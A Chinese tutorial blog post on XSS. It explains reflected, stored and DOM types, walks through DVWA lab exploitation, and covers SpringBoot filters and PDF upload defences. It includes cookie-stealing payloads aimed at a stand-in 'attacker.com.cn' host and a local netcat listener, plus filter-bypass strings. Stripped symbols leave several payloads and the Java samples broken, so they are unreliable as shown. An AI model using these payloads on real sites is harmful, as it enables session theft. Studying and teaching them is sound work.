
聊到Web安全XSS跨站脚本攻击几乎是我建议每个新手最先吃透的攻击类型。它不是最复杂的技术但绝对是最“接地气”的漏洞之一——你不需要搭建多高深的环境打开浏览器、写几行HTML和JavaScript就能直观看到攻击效果。更重要的是XSS的攻击面极广从评论区留言、搜索框、上传文件预览到如今各种SPA单页应用的前端路由几乎处处都可能藏着它的影子。这篇内容我会从XSS的三种基础类型讲起结合反射型、存储型和DOM型的区别用一个入门级实战环境带你把完整的利用流程跑一遍再聊聊我们在真实项目里最常见的防御手段包括最近很多人问的SpringBoot全局过滤器处理XSS的那点事。适合刚接触Web安全、准备打CTF或者正在写业务系统且被安全测试搞得焦头烂额的开发朋友。我始终认为搞懂XSS最好的方式就是亲手触发一次。光看文档看不懂光背PayLoad没意义。你得知道这个脚本是怎么进去的、浏览器为什么执行了它、攻击者拿到执行权限后能做什么然后才会真正明白为什么要在输入侧过滤、输出侧编码。1. XSS到底是什么先搞清楚敌人是谁1.1 一句话理解XSS的核心逻辑XSS的全称是Cross Site Scripting跨站脚本攻击。注意它的缩写不是CSS因为CSS已经被样式表占用了所以安全圈里都叫XSS。它的核心其实特别简单攻击者把自己编写的恶意脚本想办法“藏”在一个本来正常的网页里让浏览器把它当作网站自身的合法代码来执行。我经常给同事打一个比方你家楼下的公告栏上物业本来只贴了停电通知。结果有人在旁边贴了一张小广告上面写着“抢购热线”路过的邻居不知道这是小广告以为也是物业贴的很多人就真打电话过去。XSS就是这个过程——公告栏是网页物业的通知是正常内容小广告是攻击者的恶意脚本而浏览器就是那些容易被误导的邻居。浏览器本身没有分辨能力只要页面HTML里出现了script标签它就会执行无论这个标签是网站开发者自己写的还是被用户提交的数据“带”进来的。攻击者一旦让脚本在受害者浏览器里执行能干的事情就太多了。举个最常见的例子脚本读取当前网站的Cookie并发送给攻击者攻击者就可以冒充受害者登录。再比如脚本可以修改页面内容把转账页面的收款账号替换成攻击者的账号可以做键盘记录收集用户在页面上输入的一切信息也可以在用户毫不知情的情况下以用户的身份发起一些请求。这就是为什么XSS在OWASP Top 10里常年占据一席之地它属于“注入类”漏洞本质上就是没有处理好“数据”和“代码”的边界。1.2 为什么XSS值得你花时间好好学从学习角度讲XSS是进入Web安全领域的绝佳入口。第一它的环境要求极低。你不需要一台服务器也不需要什么渗透测试平台本地开个HTML文件甚至直接在浏览器控制台里都能模拟。第二它的反馈极其直观。你构造一个scriptalert(1)/script弹窗出现了漏洞就被证实了。这种“所见即所得”的正反馈对新手建立信心非常关键。第三它的知识链非常完整。学XSS你会顺带接触HTML、JavaScript、HTTP协议、浏览器解析机制、Cookie和Session的工作方式甚至还会涉及CSP内容安全策略、WAF绕过等进阶知识。可以说一个真正吃透XSS的人前端知识底子一定不会差。而且从现实需求看XSS的实战价值一点都不低。很多公司上线前会请安全团队做渗透测试XSS是必测项之一。CTF比赛中XSS的出题频率也非常高尤其是DOM型XSS和反射型XSS经常作为web题的基础门槛出现。学会XSS你既能理解攻击者的思路又能在自己写代码时有意识地避开这些坑一举两得。2. 三种XSS类型的原理与分辨2.1 反射型XSS瞬时的“回弹”反射型XSS是三种类型里最直观的也是最容易理解的。它的原理可以概括成一句话攻击者把恶意脚本放在请求的URL参数里服务器把这个参数原封不动地拼进响应页面浏览器在加载这个URL时脚本被执行。我们看一个典型的场景。一个搜索页面后台代码大致是这样的逻辑// 假设这是PHP伪代码 $keyword $_GET[keyword]; echo p您搜索的关键词是$keyword/p;这个代码的问题很致命它直接把用户在URL里传入的keyword参数拼到了HTML里完全没有做任何转义。如果攻击者构造这样一个URLhttp://victim.com/search.php?keywordscriptalert(document.cookie)/script当受害者点开这个链接时服务器返回的HTML就变成了p您搜索的关键词是scriptalert(document.cookie)/script/p浏览器解析到script标签脚本立刻执行。为什么叫“反射型”因为恶意脚本是“打”到服务器上然后被服务器原封不动地“反射”回用户的浏览器里。它没有存储在服务器端是一次性的只能作用于这次请求。反射型XSS的利用方式通常是攻击者精心构造一个恶意链接通过各种渠道诱导受害者点击。比如在论坛里发帖、发私信、发邮件甚至通过短链接服务来隐藏真实URL。URL本身看起来可能相当可疑攻击者往往会对脚本部分做URL编码来掩盖。反射型XSS最大的局限也在这里——它需要诱导用户主动点击攻击者提供的链接一旦用户没有点击攻击就无从谈起。但反过来因为很多系统会把搜索词直接显示在页面上反射型XSS在搜索、报错、参数回显等功能点非常常见。2.2 存储型XSS持久驻留的“钉子户”存储型XSS和反射型XSS的核心区别在于恶意脚本被永久地存储在了服务器端。经典场景是留言板、评论区、个人资料编辑、昵称设置这类功能。攻击者把恶意脚本当作一条正常的数据提交上去服务器把它存进数据库。之后任何一个用户访问页面只要这个页面会回显这条数据脚本就在每个访问者的浏览器里执行。我举个例子。一个博客网站的评论区用户评论内容是直接入库的展示时没有做过滤# 这是类似Flask的伪代码展示评论 comments get_all_comments() for comment in comments: html div classcomment comment.content /div攻击者在评论框里输入scriptwindow.locationhttp://attacker.com.cn/steal?cookiedocument.cookie/script然后提交。这条评论被存进数据库。之后所有来看这篇博客的人浏览器都会自动向attacker.com.cn发送一个包含受害者Cookie的请求。攻击者拿到Cookie后就可以在不知道密码的情况下直接以受害者的身份登录该系统。我常说存储型XSS是三种类型里危害最大的理由有三点第一它不需要诱导受害者点击特定链接用户只需要正常访问页面就会中招覆盖面极大第二它是持久的恶意脚本可能一直躺在数据库里直到被发现并清除这段时间内所有访问者都在挨打第三它可能攻击到管理员。如果管理员在后台查看用户提交内容时没有做好过滤存储型XSS就可能成为“窃取管理员权限”的跳板那影响就不只是个人用户了。很多历史上著名的XSS蠕虫、XSS钓鱼事件基本都是存储型XSS的杰作。2.3 DOM型XSS纯前端的隐蔽陷阱DOM型XSS和前面两种有明显的不同它不经过服务器的渲染过程。恶意脚本的注入和触发完全发生在浏览器端的DOM操作中。简单说是前端JavaScript代码取用了一些“不可信的数据”然后把这些数据写入了页面HTML从而被当作代码执行。这里的“不可信数据”最常见的来源就是window.location、document.URL、location.hash、location.search这些浏览器地址栏里的东西。看一个典型例子!DOCTYPE html html body script var name document.location.search.match(/name(\w)/)[1]; document.getElementById(welcome).innerHTML 欢迎您 name; /script div idwelcome/div /body /html这段代码把URL参数name的值取出来直接通过innerHTML属性拼接进了页面。如果攻击者构造http://victim.com/index.html?nameimg srcx onerroralert(document.cookie)Web页面本身从服务器返回的HTML是完全正常的没有任何恶意内容。但当浏览器加载完这个页面后JavaScript代码执行从URL里取出name参数用innerHTML写入页面。此时浏览器解析这段新写入的HTML遇到了img标签触发onerror事件执行了alert(document.cookie)。DOM型XSS没有被发送到服务器服务器端日志也看不出异常流量层面的安全设备同样难以发现所以它非常隐蔽。这类漏洞在现在的前端项目里很常见因为现在的SPA单页应用有大量数据交互开发者经常用innerHTML、document.write()、eval()、jQuery的html()方法等来操作DOM一旦数据源头不可控就很容易写出DOM型XSS。而且DOM型XSS的检测也复杂一些因为需要分析浏览器端的行为很多静态扫描工具依赖的纯服务端审计方法对它无效。为了帮你把三种类型一次性分清我整理了一个对比表对比维度反射型XSS存储型XSSDOM型XSS恶意代码存储位置不存储仅在URL中存储在服务器数据库不出现在服务器响应HTML中是否经过服务器是服务端拼接到HTML是服务端拼接后存储再输出否纯前端DOM操作触发触发方式受害者点击恶意链接受害者访问被感染页面受害者访问构造的URL危害范围单次、定向持久、大范围隐蔽、单次或持续维修重点服务端输出转义服务端输入过滤输出转义前端代码审查DOM操作安全3. 入门级利用实战从DVWA开始3.1 搭建本地实验环境DVWA理论说再多不如亲手跑一遍。我推荐用DVWADamn Vulnerable Web Application一个故意做得很脆弱的Web靶场应用来做实验。它是一个PHPMySQL写的Web应用内置了多种漏洞靶场包括XSS、SQL注入、命令注入等。它有一句很经典的话它不只是一个练习工具更是教你自己动手找漏洞的“训练场”。DVWA的搭建非常简单适合手头资源不多的新手。你需要准备一个支持PHP的环境。最省事的方式是装XAMPPWindows和macOS都有对应的安装包集成了Apache、PHP和MySQL装完就是一个本地Web服务环境。DVWA这个开源项目本身。从GitHub上把代码下载下来放进XAMPP的htdocs目录下。安装的详细步骤下载并安装XAMPP启动Apache和MySQL服务。这一步通常会遇到80端口被占用的问题可以在XAMPP配置里把Apache端口改为8080或者自定义端口。从GitHub下载DVWA源码解压后放到htdocs目录下文件夹建议命名为DVWA。找到目录里的config/config.inc.php.dist文件复制一份并把它重命名为config.inc.php。这个文件是DVWA的数据库配置文件。编辑这个配置文件把db_user和db_password设置为XAMPP MySQL的默认账号root密码留空XAMPP默认的本地环境root密码就是空的。在浏览器里访问http://localhost/DVWA页面会提示数据库未初始化点击页面底部的Create / Reset Database按钮它会自动创建数据库和表。初始化完成后用默认账号密码admin/password登录就能看到DVWA的主界面。登录后进入Security页面你可以调整安全等级。刚开始建议选Low这个级别下所有漏洞都没有任何防护非常适合体验“原生漏洞”的效果。等你在Low级别完全搞懂了再调成Medium和High研究它的防护方式和绕过思路。重要提醒DVWA是故意被做成有漏洞的应用而且里面很多攻击代码会真实地修改系统文件或者数据库。请一定在本地虚拟机、或者你自己的电脑本地环境里使用绝对不要部署到公网服务器上。本地没搭好环境之前不要开始实验也别在别人的站点上尝试这些操作。3.2 实战一反射型XSS完整利用环境准备好后我们开始第一个实战——反射型XSS。DVWA中它是一个搜索功能。在DVWA左侧菜单点击XSS (Reflected)页面显示一个“Whats your name?”的输入框和一个Submit按钮。先输入一个正常的字符串比如test点击Submit。浏览器地址栏会变成http://localhost/DVWA/vulnerabilities/xss_r/?nametest#页面会回显Hello test。这个细节很关键输入的内容是通过URL参数name传给服务器的服务器把它拼进了响应页面。按F12打开浏览器的开发者工具切到Elements标签。在HTML源码里找到你输入内容的渲染位置你会看到它直接被包裹在pre和em标签中说明服务器确实把参数值原样拼进了HTML。现在输入一个小测试scriptalert(1)/script点击Submit。这时页面会弹出一个写着“1”的对话框到这一步反射型XSS漏洞已经被确认。这只是验证。我们把利用做得更完整一点。将URL参数改为http://localhost/DVWA/vulnerabilities/xss_r/?namescriptnew Image().srchttp://127.0.0.1:8888/collect?cookiedocument.cookie;/script这里我用new Image()动态创建一个图片请求把document.cookie作为参数拼在URL里向本地8888端口发送请求。你先在本地启动一个简单的HTTP监听工具可以用Netcatnc -lvp 8888或者用Pythonpython3 -m http.server 8888然后访问这个恶意URL。观察监听工具你会看到它收到了一串请求日志里面携带了DVWA的PHPSESSID值。这就是一个非常典型的XSS信息窃取演示——它把用户的Cookie外传了。刚才这个演示全程发生在你自己的本地环境里非常安全。但它展示了核心流程构造恶意脚本 → 让浏览器执行 → 脚本把敏感信息外发。在实际攻击场景中攻击者会把这里的URL编码成一段看似无害的短链接骗受害者点击然后利用窃取的Cookie冒充受害者身份登录系统。反射型XSS的利用关键点我总结一下第一你要确认输入点在URL还是表单这决定了恶意脚本的投递途径第二要看输入被拼接到了哪个HTML上下文是标签内、属性内还是script代码内这决定了如何构造有效载荷第三感受一下受害者的角度——攻击者说“你点一下这个链接”受害者看到的是一个普通的网址根本无法判断它后面的脚本。3.3 实战二存储型XSS利用接下来是存储型XSS。DVWA中它的功能是访客留言本。左侧菜单点击XSS (Stored)页面上有一个Message输入框和一个Name输入框下面显示已有的留言列表。先在Message框里输入一个正常留言比如hello worldName填test点击Sign Guestbook。页面会刷新下面多出一条留言。现在查看页面HTML源码你会发现用户提交的Message和Name都是直接显示在HTML中的没有任何转义。我们依次提交几条测试payloadscriptalert(document.cookie)/script IMG SRC# onmouseoveralert(xss) a hrefjavascript:alert(1)点我/a第一条直接弹Cookie第二条是把恶意脚本挂载到图片的鼠标事件上当访问者把鼠标移到图片上时触发弹窗第三条是典型的事件型链接。注意存储型XSS的关键验证点在于“持久性”。你提交完恶意脚本后刷新页面甚至关闭浏览器、隔一天再打开页面你会发现那条留言依然在脚本依然在加载时执行。这比反射型直观多了——你没有关注地址栏没有点特定链接仅仅是最普通的页面访问就中招了。这就是存储型XSS最可怕的地方。如果我在本地把留言脚本改成读取Cookie并发送到一个远程监听地址它的效果就和我上面反射型演示一样但触发者会变成所有来看留言的人。在CTF比赛里存储型XSS经常和“爬虫bot”配合比赛系统提供一个报告URL功能会模拟管理员去访问你提交的URL。如果你在页面里注入了存储型XSS而管理员平台本身也存在回显就能借这个漏洞拿到管理员的会话。所以存储型XSS也是很多渗透测试链路的第一环。3.4 实战三DOM型XSS的隐蔽触发DVWA里有专门针对DOM型XSS的模块我们看一下。左侧点击XSS (DOM)页面是一个下拉选择框选项是几个英文单词。当你选择某个选项提交时浏览器地址栏的URL会变成http://localhost/DVWA/vulnerabilities/xss_d/?defaultEnglish。注意这里的参数是default服务器并没有在返回的HTML中拼接这个参数值页面是由JavaScript在本地读取URL参数后动态修改DOM的。打开开发者工具搜索页面源码中的default相关逻辑。你会发现前端JavaScript里有类似这样的代码var lang document.location.href.indexOf(default) 8; location.href document.location.href.substring(0, 0) ...更具体地说DVWA的DOM型XSS页面会读取URL中的default参数然后调用document.write()把它写进页面的下拉框里。document.write()是DOM型XSS的重灾区它接收的字符串如果包含HTML标签就会被浏览器当HTML解析执行。我们把URL改成http://localhost/DVWA/vulnerabilities/xss_d/?defaultscriptalert(1)/script页面加载后document.write()把这个script标签写进了页面弹窗出现。如果你把URL源码发给别人他们只看HTTP响应会发现返回的HTML是完全干净的没有任何脚本内容。这清楚地证明了DOM型XSS和反射型XSS的关键区别服务器对HTTP请求的处理完全正常漏洞发生在浏览器端的JavaScript执行阶段。这也是为什么很多依赖“看服务端返回内容”的自动化扫描器对DOM型XSS无能为力。我做过几次测试用像Burp Suite的Active Scan功能有时能扫出反射型但DOM型几乎都要靠手工分析前端JS才能发现。如果你在接触CTFDOM型XSS经常配合前端路由使用payload写在#后面hash部分不给服务器日志留下痕迹非常隐蔽。4. 真实项目里的XSS防御从过滤器到输出编码4.1 输入过滤为什么只是“防君子不防小人”聊完攻击必须聊防御。否则你学完XSS只会有一种“我看啥都像漏洞”的焦虑感却不能真正帮自己把项目做安全。很多人一提到XSS防御第一反应就是“写个过滤器把所有输入里的script都替换掉”。这个思路不能算错但远不够。把输入侧过滤当作唯一防线的做法在真实项目里有几个很大的问题第一过滤范围很难穷尽。恶意代码不只是script标签。上面实战中你已经看到了img srcx onerror...能触发a hrefjavascript:...能触发svg onload...能触发甚至用style里的import都能加载外部脚本。如果你只挡了少数几个标签绕过方式有一大堆。第二过滤逻辑会破坏正常业务。用户签名档里写一个“最近在看《 》这本书”你一个过滤器把html当成标签删了这种破坏用户内容的行为会让客服被骂得很惨。请记住输入过滤依赖的是黑名单或白名单策略要么容易漏要么容易误伤。第三真正可靠的核心防线其实是输出侧编码。你控制不了所有输入源头但你一定能控制输出时如何呈现。业界公认的XSS防御原则就是在数据到达HTML上下文之前把它转义成无害的文本形态。关于“什么时候过滤、什么时候编码”我建议你记住这个分工输入侧过滤主要用于防御存储型XSS它的作用是让入库的数据尽量“干净”输出侧编码用于防御所有类型的XSS尤其在反射型和DOM型中它是不可绕过的决定性防线。真正的安全代码应该是两层都做。4.2 SpringBoot全局过滤器处理XSS的完整思路最近互联网上关于“SpringBoot项目全局过滤器处理上传PDF文件时XSS攻击”的讨论不少我带大家把这个场景拆开来看。先不要急着写出一个过滤器我们先明确XSS过滤器的职责和边界。一个常规的SpringBoot全局XSS过滤器通常负责拦截所有HTTP请求通过包装HttpServletRequest把请求参数中的HTML标签和敏感字符比如 ( )转义成HTML实体。实现方式大致分这几步第一步实现一个Filter并且通过Component或者Configuration把它注册进Spring的过滤链。Component public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 包装请求对象让后续的request.getParameter()返回的是转义后的内容 XssHttpServletRequestWrapper xssRequest new XssHttpServletRequestWrapper( (HttpServletRequest) request); chain.doFilter(xssRequest, response); } }第二步需要自定义一个HttpServletRequestWrapper。为什么要包装因为过滤器拿到的request.getParameter()是在请求解析时就已经卡死的你没法在过滤器里修改原始请求的参数集合所以最干净的方法是包装原来的Request对象重写getParameter、getParameterValues和getHeader方法在取值时做转义处理。public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } Override public String getParameter(String name) { String value super.getParameter(name); return cleanXss(value); } Override public String[] getParameterValues(String name) { String[] values super.getParameterValues(name); if (values null) { return null; } String[] cleaned new String[values.length]; for (int i 0; i values.length; i) { cleaned[i] cleanXss(values[i]); } return cleaned; } private String cleanXss(String value) { if (value null) { return null; } // 对核心HTML敏感字符做HTML实体转义 return value.replaceAll(, lt;) .replaceAll(, gt;) .replaceAll(\, quot;) .replaceAll(, #x27;) .replaceAll(\\(, #x28;) .replaceAll(\\), #x29;); } }这段代码的核心就是replaceAll那一串把所有可能被当成HTML标签开始符、属性界定符、脚本函数括号的字符替换成HTML实体。这样即使参数值是scriptalert(xss)/script经过替换后变成lt;scriptgt;alert(#x27;xss#x27;)lt;/scriptgt;浏览器把它当作纯文本显示不会当作标签解析。在写这类过滤器时有一个特别需要注意的细节body里读取的JSON参数是不走getParameter()的。如果你的项目采用前后端分离请求体都是JSON格式SpringMVC是通过RequestBody读取body内容并反序列化为对象的而不是通过参数解析。这意味着上面的过滤器只能过滤URL参数和表单格式的请求体对JSON请求无能为力。处理JSON请求体需要额外写一个HttpInputMessage包装器拦截getBody()的输入流读取InputStream再对内容做转义public class XssHttpInputMessage extends HttpInputMessage { private HttpInputMessage original; private byte[] cleanedBody; public XssHttpInputMessage(HttpInputMessage original) throws IOException { this.original original; String body StreamUtils.copyToString(original.getBody(), StandardCharsets.UTF_8); body cleanXss(body); this.cleanedBody body.getBytes(StandardCharsets.UTF_8); } Override public InputStream getBody() { return new ByteArrayInputStream(cleanedBody); } Override public HttpHeaders getHeaders() { return original.getHeaders(); } }然后在SpringMVC的RequestAdvice或者过滤器里把它接入到请求处理的链路中。这样做有一个现实代价就是JSON里某些业务字段本身允许包含HTML格式比如一个富文本编辑器的正文内容。如果全局无差别地把整个JSON body做转义富文本里的p标签就全变成lt;pgt;前端拿到的就不是HTML而是显示转义符了。所以全局过滤器在真实项目里往往要配合豁免机制——通过一个白名单URL列表或者通过注解标记某些接口不经过XSS过滤。4.3 处理上传PDF文件时的XSS一个特别场景热搜里提到的“SpringBoot项目全局过滤器处理上传PDF文件时的XSS攻击”这个话题值得单独拿出来说因为它混合了“上传”和“XSS”两个不太一样的知识点。先明确一点PDF文件本身可能包含JavaScriptPDF是有内嵌脚本能力的所以在浏览器里直接打开一个恶意PDF有可能触发脚本但这通常被归类为“恶意文件上传”或者“PDF钓鱼”和传统意义上的XSS并不完全相同。而“上传PDF文件时的XSS攻击处理”在真实项目里通常指两类问题第一类上传文件名和文件元信息被插入恶意脚本。用户上传一个文件你可能会在页面上回显文件名如果文件名本身是scriptalert(1)/script.pdf这种形式而你在处理时直接拼接到页面中那就会触发反射型或存储型XSS。这种情况你的全局XSS过滤器就能派上用场——它会把这个文件名参数转义成安全的文本。这类问题容易被忽视我见过好几次项目里全局过滤器已经写好了但因为上传逻辑是单独封装的service没有走常规的Controller参数路径。比如用MultipartFile接收文件直接拿originalFilename拼到页面上。这种路径绕开了getParameter()所以过滤器对它是无效的。你必须在上传服务内部对文件名也做同样转义或者宁愿用UUID重命名文件从根源上消除不可信的文件名。第二类用户上传的PDF文件在浏览器预览时被解析出恶意JavaScript。这种问题的本质不在输入参数而在于输出环境的信任边界。处理策略通常是这几种服务器端下载PDF时不内嵌预览设置Content-Disposition: attachment的响应头强制浏览器下载而不是打开这样PDF内部的脚本就不会被浏览器解析器执行。如果业务必须支持在线预览那么在预览页面上不要简单地window.open(pdfUrl)而是单独部署一个预览服务使用隔离的域名并且设置Content-Security-Policy头来限制脚本执行。也可以使用专门的PDF预览组件比如PDF.js并且把JavaScript执行权限关掉。上传服务在接收PDF时除了XSS过滤器还要做文件类型检测、Magic Number校验、文件大小限制、畸形文件扫描甚至用杀毒引擎扫描内容。我把这两类问题的处置方式整理成了一张表方便你区分问题表现攻击路径核心防御措施文件名包含恶意脚本服务端回显文件名时触发XSS全局过滤器转义 服务内对文件名转义 用随机UUID替代原始文件名PDF文件内嵌恶意JavaScript浏览器直接打开PDF时执行脚本强制下载而非预览 隔离域预览 设置CSP限制脚本 杀毒扫描PDF元数据标题、作者携带脚本客户端阅读器解析元数据时触发PDF体积较大时建议第三方杀毒扫描 整体转存为安全格式后再提供下载所以回到最初的问题一个全局过滤器能不能解决上传PDF时的XSS答案是它能解决文件名字段这类“请求参数型XSS”但解决不了文件内容本身携带脚本的问题。后者必须靠下载策略、预览隔离、输出侧CSP这一整套方案来兜底。5. 绕过手法与检测排查从CTF到实战5.1 常见绕过姿势知道它们存在就够了作为入门你可以先知道有哪些“进阶玩法”不用急着全部掌握。因为XSS的绕过基本都是围绕“过滤器的漏洞”展开的如果过滤器只屏蔽了script标签攻击者可以换img标签加onerror事件如果过滤器屏蔽了onerror这个关键字攻击者可以用onerror的变体大小写混合OnErRoR或者用Unicode编码、HTML实体编码来绕过字符串匹配如果过滤了脚本关键字可以用svganimate onbegin...这种冷门标签。比如一个常见的Dash 1秒级绕过思路IMG SCRIPTalert(XSS)/SCRIPT这串代码里巧妙闭合了前面的标签属性SCRIPT被浏览器大小写不敏感地解析从而触发。很多初级过滤器的正则匹配是区分大小写的或者只匹配了纯script而忽略了前后夹带的其他标签。但我的建议是入门阶段不要过度沉迷绕过。先踏踏实实理解基础原理把三种类型和典型payload吃透。绕过是建立在对浏览器解析机制深刻理解之上的不是背几个payload就行的。等你把HTML解析规则、JavaScript执行时机、WAF的规则逻辑搞清楚了绕过是水到渠成的能力。5.2 手工检测XSS的固定流程从实战角度我分享一下我在测试一个站点时的固定检测流程。这套流程不管是自己写的项目还是CTF题目都适用第一步找输入点和输出点。打开目标页面逐个检查搜索框、表单、URL参数、路由参数、上传点。凡是用户可控且可能在页面上回显的位置都可能是XSS的输入点。第二步验证特殊字符是否被原样回显。在每一个输入点提交这些字符/然后看页面上回显的内容。如果这些字符原封不动地出现在HTML源码中就说明这个位置存在注入可能接下来要看它落在哪种上下文里。第三步确认上下文决定payload。如果输入落在标签之间的文本区域比如div[这里]/div直接构造script或者img onerror就行。如果输入落在HTML属性值里比如input value[这里]那你需要先用闭合属性再构造新的事件payload变成scriptalert(1)/script或者 onfocusalert(1)。如果输入落在JavaScript字符串里面比如var name [这里];你需要闭合引号和分号payload变成; alert(1);//。第四步构造无害验证payload。先用alert(1)验证再用document.domain、document.cookie验证是否存在实际危害。等确认了漏洞再考虑写完整的利用脚本。第五步专项测试DOM型。检查页面里的innerHTML、document.write()、outerHTML、insertAdjacentHTML相关代码查看它们是否接收了URL参数、location.hash、postMessage消息等外部数据源。5.3 常见问题速查与排错小结我整理了一些新手在实验中常见的问题速查表你如果卡住了直接对照看问题现象可能原因解决办法提交scriptalert(1)/script后没有弹窗输入被浏览器解码过或服务器已做转义查看页面HTML源码确认代码是否变成了lt;scriptgt;如果转义了说明已经防御换个上下文再试弹窗出现但刷新后就没了这是反射型XSS的正常表现确认你是从URL参数传入的还是从表单提交的重放URL参数即可复现存储型XSS留言提交后刷新还在但再次弹窗失败可能输入被中间件拦截或下次读取时做了编码检查数据库存储的内容是否被改写检查不同位置的输出是否都做了过滤DOM型XSS在URL编码后失效浏览器对URL编码字符会先解码再传给JS构造payload时注意document.URL取得的值是编码前还是解码后的必要时用decodeURIComponent自己处理页面因为全局过滤器把正常业务显示乱了过滤器误伤了富文本等合法内容为富文本、编辑器等接口配置URL白名单或者按接口细化过滤规则最后再讲一个我在工作中踩过的坑有一次我负责的项目引入了全局XSS过滤器结果上线后用户反馈“帖子标题里的中文引号全变成怪字符了”。排查半天发现过滤器里不仅转义了还把也做了编码导致用户输入里的中文单引号被双重编码显示。从那以后我养成了一个习惯过滤器要非常克制只处理真正构成HTML语法边界的字符不要为了“多一层安全”就把所有符号都转一遍。多用样例数据回归测试而不是纯靠文档判断。写在最后的实际操作小结我个人在实际操作中的体会是XSS的防御不是写一个过滤器就结束的而是一个贯穿设计和编码始终的思维习惯。你在写一行把变量拼进前端模板的代码时在接收一个上传文件的名字时在把后端返回的富文本插入页面时都要下意识地问一句这里的数据是可信的吗是谁在什么情况下写入的输出时有没有编码条件允许的话我建议你在自己负责的项目里搭一套自动化的XSS检测机制。最基础的做法是在测试用例里专门加几组XSS payload每次构建部署后自动过一遍测试。像scriptalert(1)/script、img srcx onerroralert(1)、javascript:alert(1)这些只要断言返回页面不包含可执行标签就能提前拦住一大部分问题。我这么做了半年之后安全测试反馈的XSS类问题数量明显下降了。学XSS这件事不用急着追求把所有payload背下来先把三种类型里的每一种亲手复现一次。当你真的在一个靶场里通过自己的构造触发了一次弹窗你才会真正理解为什么大家都在说安全是开发的另一半责任。